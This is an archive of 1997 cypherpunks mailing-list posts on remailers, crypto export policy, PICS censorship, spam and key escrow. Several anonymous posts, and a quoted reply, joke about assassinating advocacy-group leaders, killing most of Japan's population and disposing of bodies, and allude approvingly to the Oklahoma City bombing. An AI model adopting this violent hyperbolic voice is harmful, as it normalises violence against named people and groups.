FiPeEB7e+crbb+Gut+jfjAHEPh2wHUsviRkApt1wbnjohtT0hYgXWY34lX64VjBz
OB1q9Nm0y0ATclw9fsv3bgDH5wRVFtogJe6Lmb0e1kI4rp4hNUGTf/AFclUcK+nP
UVIIa67yRCM=
=1197
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 4 Aug 1997 08:36:52 +0800
To: cypherpunks@toad.com
Subject: Broad-Band Proclaimations ("EVERYBODY AGREES THAT...)
Message-ID: <199708040023.CAA04380@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




EVERYBODY AGREES THAT...smoking is bad for you.

>From News of the Weird:
* Among the recipients of the American Lung Association's
"Thumb's Up" motion-picture awards, presented at the time of the
Oscars in  March to honor those films and characters who present a
no-smoking image, was Woody Harrelson for his role in
discouraging his movie wife from smoking in "The People Vs.
Larry Flynt."  However, in the movie, both Flynts are heavily
addicted to illegal drugs and seem to be indifferent to sharing
needles for injecting them.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 4 Aug 1997 12:05:58 +0800
To: cypherpunks@toad.com
Subject: Tim Throws a "Leaner" / Re: Tim Speaks the Truth /  Re: Tim Misfires / Re: Joichi Ito as a Junior Policeman
Message-ID: <199708040346.FAA26108@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Joichi Ito wrote:
> As for Tim's message... I keep worrying (when I am in Japan) that I'm too
> radical, so it's nice to hear from someone who is really hardcore to put
> a wimp like me in my place. ;-P

  Actually, when Tim puts someone in what he considers to be their
place,
it usually involves the purchase of a tombstone.

Tim May wrote:
> Unlike "Toto," who claims to be "Truthmonger," I speak the truth.
 
"Am I Toto, dreaming I am TruthMonger, or TruthMonger, dreaming I am
Toto?"

> At 5:12 AM -0700 8/3/97, Joichi Ito wrote:
> >so they probably are pretty militaristic), Japan does not have the
> >equivalent of the NSA. It really is in Japanese national security interests

> Wise up, Joichi. You live in society more totalitarian than anything we
> fear. 

  Japanese society has long been very rule-oriented, in large part as
a result of the country's geography, population and history.
  A "No Farting" sign which might reek of totalitarianism when placed
on the open range, might well seem less so when placed in a two-man
tent occupied by six people. Environment, geography and the history
of a a country, society and its people, all play a part in the degree
to which an individual will view their personal position in regard to
the society and government around them. And each will perceive the way
in which they feel they can best promote their beliefs within their
society and government.
  
> Japanese citizen-units under video surveillance and afraid to speak
> out. 

  It seemed to me that after Jim Bell's arrest, most of the posts to
the list posted an almost-standard disclaimer: "Actually, although
I hardly knew the man, thought he was a _loon_, and _disagreed_ with
most of what he had to say..."

> And surveillance and espionage technology deployed by your fascist
> government--a term I mean literally, not casually--will worsen things
> dramatically.
> The only "cooperation" with them is to seek their annihilation.

  Government aside, if I was forced by fate to live in Japan, my first
act would probably be to annihilate 80% of the population, just to get
enough elbow room to negate the need for so damn many rules, both from
society and government. Of course, the same could probably be said for
New York City, from my persepective.

> And nothing but mischief will come out any meetings with government on
> "crypto policy," as their goals can never be our goals. At least in the
> U.S., despite obvious flaws, we have a "Congress shall make no law"
> provision which _tends_ to make government meddling in speech, such as
> meddling in crypto, more difficult.

  I hope that the "flag" Tim is wrapping himself in isn't the same one
that he was burning yesterday.
  {Not that I'm accusing Tim of being purposely deceitful. It's just
that when we throw a "leaner" instead of a "ringer," they sometimes
lean in opposite directions.}

  Seriously, I believe in the original goals of organizations such as
the EFF and CDT, etc, but I also believe that their leaders should be
assassinated every few years in order to allow the promotion of people
whose senses are not so hardened by D.C. that they no longer recognize
a "stench" when they smell it. (ibid, the Constitution and our beloved
Legislators.)
  Joichi Ito sounds very sincere about his commitment to act in a way
he feels will promote cypherpunkish viewpoints within his system of
government. I can't help but believe, however, that his efforts will
ultimately only serve to delay the creeping spread of tyrannical cancer
in our societies and our governments.
  I tend to lean more toward Tim's viewpoint, that there comes a point
when the best option is surgery (a radical Legislat-ectomy?), but I
would not go so far as to suggest that others should not pursue other
treatments which they think may stem the tide of the disease.

  I hope Joichi Ito paid enough attention to the OKC bombing to realize
that some surgeons are less skilled than others, and that there is a
risk in remaining too long in close proximity with cancerous tissue.

DreamMonger
"There's something wrong when I'm a TruthMonger 
   under an increasing number of personas."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 4 Aug 1997 22:05:25 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199708041350.GAA06363@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash esub latent cut ek reord";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

The remailer list here has been out of date for some time, but should
be up to date now. I'm still working on updating the web page.

Last update: Mon 4 Aug 97 6:47:45 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
redneck  config@anon.efga.org             *##-+##**#**     4:41  99.98%
squirrel mix@squirrel.owl.de              -++-+------   2:40:53  99.96%
cracker  remailer@anon.efga.org           +++-++++++**    21:28  99.96%
weasel   config@weasel.owl.de             +++-+-+-+--   1:48:16  99.95%
cyber    alias@alias.cyberpass.net        **-++*****+*    11:47  99.88%
nym      config@nym.alias.net             *-+###*####+    20:38  99.88%
winsock  winsock@rigel.cyberpass.net      ------------  5:48:23  99.83%
mix      mixmaster@remail.obscura.com     -*-++***+*+*    46:32  99.80%
arrid    arrid@juno.com                   *++++-+- +    1:06:16  98.51%
replay   remailer@replay.com               *   ** ***-    15:25  97.91%
reno     middleman@cyberpass.net           +*+ +  +++-    55:18  93.85%
neva     remailer@neva.org                + +*--   ++*  2:52:22  92.55%
jam      remailer@cypherpunks.ca            +*--   +**  2:25:28  88.85%
hera     goddesshera@juno.com             --------  -   3:36:00  83.26%
valdeez  valdeez@juno.com                 ---           4:14:27  14.58%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 4 Aug 1997 19:25:30 +0800
To: cypherpunks@toad.com
Subject: EC Report on Crypto
Message-ID: <1.5.4.32.19970804110047.00707678@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



     4 August 1997, ComputerWorld:

     Report/ Encryption policy hurts trade 

     U.S. controls on the export of encryption technology and
     telecommunications equipment represent significant barriers
     to international trade, the European Commission said in a
     report last week. 

     The development of digital communications has prompted the
     need for improved protection against the unauthorized use of
     personal data, trade secrets, banking information and
     databases. Without that protection, it is unlikely that
     electronic commerce will take off, said one European
     Commission official. 

     The commission's 13th annual ``Report on United States
     Barriers to Trade and Investment'' said the U.S. is the
     dominant supplier of key computing components, and the
     country's limitations on the export of strong encryption
     products hurts the growth of electronic commerce. 

----------

Anyone with a URL for this report? The EC site is uncrackably
multi-lingual otiose.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 4 Aug 1997 20:55:57 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Tim 1 - Joichi 0 - DreamMonger NULL / Re: Joichi gives up (fwd)
Message-ID: <199708041244.HAA32722@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 04 Aug 1997 16:50:51 +0900
> From: Joichi Ito <jito@eccosys.com>
> Subject: Re: Tim 1 - Joichi 0 - DreamMonger NULL / Re: Joichi gives up
>   / Tim Throws a "Leaner" / Re: Tim Speaks the

> At 00:44 97/08/04 -0500, Jim Choate wrote:
> > Forwarded message:
> > 
> > > Date: Sun, 3 Aug 1997 22:02:24 -0700
> > > From: Tim May <tcmay@got.net>
> > > Subject: Re: Tim Throws a "Leaner" / Re: Tim Speaks the Truth
> 
> > > Any journalist in Europe or in the U.S. would be seen as having
> irreparably
> > > compromised his journalistic objectivity by serving on such a panel! And
> > > properly so, of course.
> > 
> > As long as they were representing their personal opinions and not acting as
> > a journalist (ie being paid by a 3rd party) and they disclose the action
> > there would be compromise on objectivity.
> 
> Jim, I hope you meant to say "wound not be compromising" in the above
> statement.

Actualy it was supposed to be a question mark at the end...

> This may sound like an afterthought, but one of the reasons that I did
> such a stupid thing as post my association with a police study group 
> here was as a part of being very open about what I was doing and
> trying to ask for advice on that basis. Also, FYI, I am not being paid
> by the government or any 3rd party. I am not a "consultant" to the
> government. I am an "outside expert". I am not representing the police
> to the people of Japan, I am trying represent the peoples' interest to
> the government... but I'll stop now before I get bashed again.

If all it takes to take over the citizens of Japan is to bash them a little
then you folks are Doomed. Perhaps you have spent one too many days
hammering nails that stick up...

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charles <apache@bear.apana.org.au>
Date: Mon, 4 Aug 1997 06:30:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PICS and intellectual freedom FAQ
In-Reply-To: <Pine.GSO.3.95.970803100415.13596K-100000@well.com>
Message-ID: <199708032205.IAA09870@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----



A link in the PICS FAQ that Declan posted was to The Net Labeling
Delusion. For anyone interested in the relationship of PICS/RASCi
and censorship I recommend reading this article in detail. It presents
a very interesting case for censorship by stealth and argues that since
blocking software will block unlabeled sites that mandatory-voluntary
labeling is unnecessary and unjustified. It also examines some
possible motives on the part of government for advocating such
mandatory-voluntary censorship schemes.

For the full text see :

     http://www.thehub.com.au/~rene/liberty/label.html

Here is a snip from the introduction..

Protection or Oppression
========================

The developers of PICS say it's an infrastructure which facilitates
voluntary labelling  and selection of Internet content.  They promote
it as "Internet Access Controls  Without Censorship". Its advocates
say it's nothing to do with censorship and can't  assist the
censors. Meanwhile, PICS has achieved its original objective: to
provide an  alternative to government censorship legislation, that is,
to provide instead a  technological means of facilitating censorship. 

Governments, finally beginning to comprehend the difficulties of
blatantly censoring the Net, are becoming enthused about filtering
technology. Service providers, desperately hoping to place themselves
out of reach of over-zealous governments who would hold them liable
for material they carry, are demanding their customers rate and label
all their material. 

Ironically, an increasing number of the original proponents of
filtering software are becoming much less enthused as a host of new
issues arise. Filtering programs and labelling look set to become
privatised censorship disguised as consumer information backed by
government coercion. 

This document does not propose that PICS systems and third party
filtering software should be entirely black-banned by Net users. It
does, however, suggest that parents and other consumers should
ascertain what type of information is, and is not, being blocked and
that filtering advocates should be extremely cautious about
unreservedly promoting these systems as the saviour of the Net. 

Contents: 

Summary
What are filtering programs and rating/labelling systems?
Labelling has nothing to do with censorship, does it? 
   What is censorship? 
   What is labelling? 
   Labels are just tags, helpful information, surely? 
   Book in libraries are labelled, is there a difference? 
   Are book reviews similar to labels? 
   So, is labelling censorship or not? 
Is labelling likely to become compulsory? 
Will labelling protect children from harmful material? 
Do governments have a legitimate interest in enforcing, or encouraging,
labelling? 
Why would governments seek to enforce labelling? 
   The alleged reasons
   - To protect children
   - To enable electronic commerce to reach its full potential
   The other agenda
   - Censorship by Stealth: making publication too difficult, costly
   and risky
   - Banning access to the rest of the world
   - Facilitating future changes to censorship laws
   - Being seen to be doing something
How would governments enforce labelling? 
   Legislation 
   Coercion 
What's wrong with compulsory labelling anyway? 
What's wrong with the RSACi Rating System?
Voluntary labelling is a good idea, isn't it?
Conclusion

 Summary: 

Indications are mounting that labelling of all content will be made
mandatory in Australia.  

Claims that all material, particularly material unsuitable for
children, must be labelled in order to protect children are
technologically ignorant at best, insidious at worst.

Unilateral action in Australia will increase costs in the burgeoning
on-line multimedia industry here, and may force many sites off-shore.

Compulsory labelling will restrict quantity and quality of information
as a result of: 

   the complexity, unsuitability and inadequacies of some, probably all,
   rating systems similar to RSACi 
   difficulties associated with lack of technical knowledge 
   overly cautious ratings because it is too much effort, or to avoid
   potential complaints, or to purposely seek to undermine an enforced
   system 
   lack of time and/or staff to rate material 
   financial restraints 
   unwillingness to enter into complex legal agreements with ratings
   organisations 
   unwillingness to provide personal information to ratings organisations
   which can be used for, or sold to, mailing lists etc. 

Compulsory labelling will force content providers to: 

   self-censor in accord with someone else's value system 
   place themselves at greater risk of complaints regarding legal material
   because of the many shades of grey inherent in rating systems.

Compulsory labelling enables governments to achieve censorship by
stealth as well as facilitate future more censorious laws whilst
claiming non-censorious intent.

Compulsory labelling achieved by government coercion of private
enterprise enables government to avoid all responsibility and
criticism for resultant problems and difficulties.

Voluntary labelling of material which is suitable and intended for
children will provide a child-safe environment.

Rating services have the potential to influence community views and
attitudes to a greater extent than either existing broadcast media or
uncensored access to the Internet.  

Rating organisations must be required to publicly disclose concise
details of rating criteria and value systems to ensure consumers can
ascertain what is, or is not, blocked. 

- -- 
   .////.   .//    Charles Senescall             apache@bear.apana.org.au
 o:::::::::///                                   apache@quux.apana.org.au
>::::::::::\\\     Finger me @bear for PGP PUBKEY      Brisbane AUSTRALIA
   '\\\\\'   \\    Apache




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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 4 Aug 1997 15:00:14 +0800
To: cypherpunks@toad.com
Subject: Palladin Press Announces "Home Composting" by Tim C. May
Message-ID: <199708040642.IAA12930@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote: 
> At 8:46 PM -0700 8/3/97, Anonymous wrote:
> >Joichi Ito wrote:
> >> As for Tim's message... I keep worrying (when I am in Japan) that I'm too
> >> radical, so it's nice to hear from someone who is really hardcore to put
> >> a wimp like me in my place. ;-P

> >  Actually, when Tim puts someone in what he considers to be their
> >place, it usually involves the purchase of a tombstone.
 
> Actually, the trick is to avoid having the body discovered. What goes into
> the 10 h.p TroyBilt Chipper/Shredder comes out not needing any kind of
> tombstone at all.

  This may explain why my paramilitarist neighbor's garden always does
so much better than mine. (It could also explain the bone fragments in
his garden potatoes.)

> Not that I have ever advocated killing mere folks like Joichi with whom I
> disagree strongly. (A new quote: "Killfiles don't need tombstones.")

  Definition of a CypherPunk tragedy: "A Killfile being deleted without
an ASCII Art message in it." 

> The point is, if Joichi Ito wants to ever be taken at all seriously, as a
> reasonable objective reporter of what is happening, his co-opting by the
> Japanese Self Defense Forces, Chobetsu, etc., for this "committee" on
> crypto policy, must be scrutinized, and almost certainly criticized.

  The JSDF, Chobetsu, etc., might well say the same thing about his
co-opting by the CypherPunks.
  I believe that you are right about scrutinizing and criticizing the
work of all politicians and reporters, but I doubt any of us could
ultimately reach agreement on what exactly constitutes being co-opted,
or exactly when one of "us" becomes one of "them."
  I value Declan McCullagh's reporting on privacy and crypto issues,
but I recognize the need to ask him to "take his shirt off" every now
and again so we can check to see if he has an alien creature stuck
to his back, controlling his mind.
  The problem with sending spies and secret agents into the enemy
camps has always been that they may grow to like the enemy's life-
style a little *too* much.

> >> And nothing but mischief will come out any meetings with government on
> >> "crypto policy," as their goals can never be our goals. At least in the
> >> U.S., despite obvious flaws, we have a "Congress shall make no law"
> >> provision which _tends_ to make government meddling in speech, such as
> >> meddling in crypto, more difficult.
> >
> >  I hope that the "flag" Tim is wrapping himself in isn't the same one
> >that he was burning yesterday.
> >  {Not that I'm accusing Tim of being purposely deceitful. It's just
> >that when we throw a "leaner" instead of a "ringer," they sometimes
> >lean in opposite directions.}
 
> Utter bullshit. I have cited the First, Second, and other provisions of the
> Constitution for the 5 years of this list. That I would prefer an even more
> anarchistic, market-oriented system than we now have, or that I dislike the
> hundreds of thousands of laws passed over the last 50 years, is no reason
> not to use the protections of the Constitution.

  Don't shoot, I was just being fascetious.
  To tell the truth, I find it confusing these days to figure out
*which*
flag is being burned, or used to wrap oneself in, these days. Is it the
flag that defends freedom or the flag that defends children? Is it the
flag that defends the Constitution or the flag that defends "national
security?" {And if it is the flag that defends the Constitution, then
*which* Constitution? The one the founders wrote, or the one being used
as a doormat at the Whitehouse?)
  
> And the line between an
> anarchocapitalist and a strict constuctionist is fine indeed. Anyone who
> thinks this is "deceitful" is probably one of those folks who says, "Oh,
> yeah, well if you dislike government why don't you just refuse to drive on
> public roads?

  Or, perhaps, "If you dislike government why don't you just refuse to 
participate in it?"
  Different strokes for different folks. Sometimes the pen is indeed
mightier than the sword (or a Ryder truck) and sometimes the almighty
dollar is mightier than either. Regardless, "We have met the enemy, and
he is us." probably comes closer to the heart of the problem with our
societies and governments than any socio-political analysis of the 
issues and events of our time.
  The problem is not who writes what, and the reasons behind it, the
problem is the aspect of our human nature which wants us to believe
in Santa Claus, benevolent government and the goodness of our fellow
man, despite evidence to the contrary. The problem is not who blows
up a building, or a city, the problem is the aspect of our human 
nature which wants us to paint the face of justice or terrorism on
the action instead of recognizing the injustice, regardless of the
necessity, or lack thereof, of the action.

  The bottom line is that, despite our personal beliefs as to "the
meaning of life" and the values and beliefs it should be lived by,
it may well be that this planet's true purpose is to serve as a
compost pile to provide nourishment for more intelligent forms of
life being grown/evolved elsewhere.
  {Keep an eye out for asteroids shaped like a "TroyBilt."}

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Mon, 4 Aug 1997 15:12:21 +0800
To: sameer <sameer@c2.net>
Subject: Re: Microsoft RAS encryption?
In-Reply-To: <3.0.3.32.19970801101506.0092b420@localhost>
Message-ID: <3.0.3.32.19970804085944.0091fd80@localhost>
MIME-Version: 1.0
Content-Type: text/plain



sameer wrote:
>	See www.l0pht.com
>> Does anybody know how Microsoft RAS implements data encryption? Apparently
>> (http://www.microsoft.com/kb/articles/q136/6/34.htm) they use RC4, but is
>> this stuff documented somewhere, like in an RFC?

What I can find at www.l0pht.com only deals with password authentication.
I'm more interested in the RC4 data encryption that Microsoft RAS servers
and clients are using. That is, once a PPP session is established and
MSCHAP is used to authenticate the session, the secret from MSCHAP is
reused as two RC4 keys with 40 or 128 bit keys (US or International
versions). But I can't find any documents on exactly how this works.

Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Tue, 5 Aug 1997 00:33:44 +0800
To: cypherpunks@cyberpass.net
Subject: Third Eternity Server Operational
Message-ID: <19970804162356.8660.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



There is a third eternity server at

               http://moloko.insync.net/eternity

Enjoy!

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Tue, 5 Aug 1997 02:39:37 +0800
To: Charles <apache@bear.apana.org.au>
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <Pine.LNX.3.93.970803062838.108B-100000@shirley>
Message-ID: <3.0.2.32.19970804093014.007720b4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:52 PM 8/3/97 +1000, Charles wrote:
>   ? the Platypus {aka David Formosa} said:
>>The best solution given so far is Cause's suggestion of modifying 
					[Cauce , by the way....]
>>the fax law so that we can sue the spammers.
>
>Thus giving gubmints the toe in the door they are so desperately looking 
>for to regulate/license/control the online world.
>
>The first thing you would see after passing such a law (if indeed the 
>original legislation itself didn't contain the provision) would be a 
>requirement for identification of all accounts and account holders. 
>Anonymous email and anonymous remailers would be the first victims.

Hear, hear!  The fax law says precisely that you can't send a fax
without correct identification of the sender, and an email equivalent
law would do the same.  (Anonymous remailers wouldn't necessarily be
banned, as long as they identified themselves correctly; if anything
this would probably encourage deployment of remailers, mainly by spammers,
which is a mixed blessing.)  Also, there are several Supreme Court cases,
such as McIntyre vs. Ohio, that strongly uphold the right to anonymous
publication; the fax law probably violates this, though I doubt it's been
taken to court.  The issue of the cost to the receipient of junk faxes
was the justification for the junk fax laws; I've heard that
Spamford himself was the junk faxer who they were a response to,
though I haven't seen any verification of that, and of course
widespread caller-id could have taken care of the problem without
requiring a Federal law.

One obvious implementation of identification would of course be a
Key Management Infrastructure...  They might not do it, not only because
it would require everyone to change their email programs, but more
seriously because it would require everyone to use encryption-capable
mailers (or at least signature-capable), and even with 40-bit escrowed
mail, it makes eavesdropping much more work.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Tue, 5 Aug 1997 02:42:55 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Denning backs away from GAK
In-Reply-To: <3.0.2.32.19970801185452.007746e8@popd.ix.netcom.com>
Message-ID: <3.0.2.32.19970804093718.00772074@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:22 PM 8/1/97 -0700, Tim May wrote:
>I disagree. A likely scenaria, I fear, is this:
>* Denning's new study gets publicity
>* Denning is "redeemed" and gains new influence
>* GAK is delayed for this year
>* Denning continues her study
>* Next year's report finds solid evidence that crypto is being used to
>hinder investigations, and has indeed had an effect.
...
>* Denning's new conclusions, and her redemption, 
>will generate support for GAK.

Tim, being more cynical than I am, is probably correct :-)
But still, we should take advantage of it when we can;
never miss a chance to use government statistics in ways that
annoy their originators....

Denning's previous big-publicity study was the interim report on
Clipper security (saying Skipjack was apparently quite strong),
which achieved its propaganda goals; the final report, which was supposed
to address the whole Clipper system, including the on-chip parts
and the key escrow process in the NSA/Mykotronix vault, was never
released, which I consider to be a substantial piece of intellectual
dishonesty.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 5 Aug 1997 01:46:12 +0800
To: freedom-knights@jetcafe.org
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311743.SAA02470@server.test.net>
Message-ID: <8w6wae1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



I'm back from the weekend to a large quantity of unanswered e-mail
which I'll get to eventually. if you said something of interest in
the last week or so, I'll comment on it this week - I hope.

But first I'll rant and rave some more on the subject of payment for
physical transportation and the snail mail, with the payment for the
Internet in mind.

Adam Back <aba@dcs.ex.ac.uk> writes:

> 
> William Geiger MLCVXII <whgiii@amaranth.com> writes:
> > In <199707311120.MAA00669@server.test.net>, on 07/31/97 
> > >  at 12:20 PM, Adam Back <aba@dcs.ex.ac.uk> said:
> > >
> > >One way to implement this is for other people to pay the author for their
> > >articles a penny if they like the article.  That way people who write
> > >things which others find interesting to read get subsidized posting.  Is
> > >it still free speech if you have to pay for your posts if you're arguing
> > >for an unpopular minority?
> > 
> > This will not work!!!
> > 
> > Charging for e-mail/news posts will do nothing to prevent spam and
> > more than likely increase the noise on such lists. It is the spamers
> > who have the money to post volumns of their crap.
> 

As I think I pointed out before, the "spammers" would be more willing to
spend money to post than the folks who just talk and answer questions.
I wouldn't answer questions on comp.unix.questions if I had to pay to
do that. Any scheme that requires the poster to pay will dampen signal
more than it will damped the noise and thus worsed the signal to noise ratio.

> For email spam I disagree.  I currently get 10 spams a day or so.  All
> as a result of one unprotected post to a USENET group a few weeks
> back.  Before that I hadn't posted to USENET for a while and the spams
> had nearly died down.
> 
> If the spammer had to pay 1c for each spam, he'd be out of business
> with his current scatter gun approach.  He'd have to get a lot more
> selective, because it would be in his commercial interests to do so.

I've been getting dramatically less junk e-mail sent to the addresses which
I placed on the various "removal" lists. (Maybe 1 or 2 / day, vs 10-20 on
the 'control" ones.)
> 
> > Also I think you will find that it will be the fanatics who
> > will think it worth the $$$ to get their message out.
> 
> Fine by me, so long as they're paying their way, the NoCems from a
> reliable rating service will take care of them.
> 
> You have more of a point in newsgroups, or mailing lists as the
> spammer only has to make one post.
> 
> Charging for posts in that scenario only makes sense to stop people
> who spew multiple mega-bytes of robo-spam just to be annoying, and for
> no commercial gain at all.
> 
> NoCems are the real answer to public forums.  Spammers will feel less
> incentive to spam when it becomes clear most people have them filtered
> out anyway.
> 
> > While I find the various mailling lists & newsgroups of intrest the
> > majority of them are not thet intresting that I would be willing to pay
> > $$$ every time I post a reply to someones questions (most of my posts
> > outside of CP are answering questions on programming,crypto, & OS/2). I
> > think that the overall quality of the newsgroups would decline if you
> > started paying on a per-post basis.
> 
> Surely you aren't that prolific a writer that 1c a post would
> be a burden on you?
> 
> I make what 20 posts a day at peak?  Often 1 or none some days.
> 
> > It should be noted that the Bandwith issue is a red-herring. It is an
> > antiquated concept from the Fidonet days and does not apply. The bandwith
> > of the USENET has been *PAID IN FULL* by every subscriber to an ISP. The
> > ISP customers pay for their connections to their ISP who in turn pay for
> > their connections to the Access providers who inturn pay for the Backbone.
> > The PIPE has been paid for what goes over it not an issue. If all I want
> > to do with my T1 connection is ship *.jpg files via ftp 24/7 that is no
> > ones busines but my own. If I chooses to use my bandwith to transmit a
> > variety of file formats using various protocols
> > (HTTP,FTP,GOFFER,ARCHIE,...ect) who are you to say that some formats are
> > good and some are not!! (this is not even getting into the content of the
> > data being shiped).
> 
